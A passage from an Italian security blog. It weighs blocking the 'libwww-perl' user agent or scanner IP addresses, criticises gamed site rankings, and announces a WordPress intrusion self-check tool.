In ogni caso la regola può essere fatta anche con l’indirizzo IP dello spider, e questo può essere molto più efficace: al visitatore non basta cambiare il proprio user agent, deve proprio cambiare punto di accesso alla Rete, cosa non proprio banale. Ma, sempre parlando di “libwww-perl”, gli indirizzi IP da cui provengono le scansioni sono quasi tutti di fornitori di accesso Internet a privati, tradotto: sono computer di “guidatori sopra la media” compromessi ed usati dal nostro amico mentecatto, o da un suo affine, sempre mentecatto. Quindi anche l’inserimento di un indirizzo IP è una misura poco efficace, se vogliamo contrastare un possibile attacco mirato a violare il sito. Rimane efficace per “educare” crawler e spider poco rispettosi, appartenenti a società sempre a caccia di informazioni di qualsiasi genere da rivendere.

Riguardo alle stranezze di una certa classifica, non sono l’unico ad avere delle perplessità.

Due parole ancora per spiegare meglio il mio punto di vista. Sulle classifiche ho cambiato idea, non ho nessun problema a dirlo. All’inizio pensavo che fossero uno strumento utile a far conoscere il proprio sito e soprattutto a raggiungere meglio i possibili interessati agli argomenti che tratto. A distanza di molto tempo (informaticamente parlando), il risultato è non solo deludente, ma è evidente il vantaggio di chi conosce i meccanismi della classifica (quale che sia) e di come si faccia di tutto per scalare posizioni usando tutti i trucchi possibili ed immaginabili per “dopare” la propria posizione. La responsabilità non è della classifica e di chi la gestisce, ma se di un responsabile avete bisogno, guardatevi allo specchio e chiedetevi se non sia ancora una volta il solito vizietto di voler fare i furbetti a tutti i costi per primeggiare con poca fatica.

Ritengo tutto ciò, nel mio specifico caso, lesivo della mia immagine e del mio lavoro. Per cui mi opporrò in ogni maniera ad essere incluso in classifiche che vengono abusate dagli stessi membri, al solo scopo di rimediare qualche click in più, in cambio di nulla.

Riferimenti

Tags: , , ,

Wordpress Autotest: v1.11 with english translation, too

Aug 25

Pubblicato da Mario Pascucci in ...english, too!, Information security, Wordpress | Nessun commento

If you suspect an intrusion in your Wordpress blog, or spam link injection, or you feel that your blog is 0wned, you can do this check.

Instructions and results are in English language. Some documentation about Wordpress spam injection and redirection is here.

Tags: , ,